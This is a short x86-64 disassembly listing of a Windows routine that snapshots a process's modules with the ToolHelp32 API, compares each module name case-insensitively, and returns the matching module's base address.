call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff78718b3e1
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x18
jne 0x7ff78718b3ca
nop dword [rax]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcessId]
mov edx, eax
mov ecx, 8
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff78718b3e1
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x18
je 0x7ff78718b3a0
xor eax, eax
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
test rbx, rbx
je 0x7ff78718b3ca
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_Module32First]
mov edi, eax
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x50]
call qword [sym.imp.ucrtbase.dll__mbsicmp]
test eax, eax
je 0x7ff78718b426
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_Module32Next]
mov edi, eax
test eax, eax
jne 0x7ff78718b400
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
test edi, edi
je 0x7ff78718b3ca
mov rax, qword [rsp + 0x48]
jmp 0x7ff78718b3cc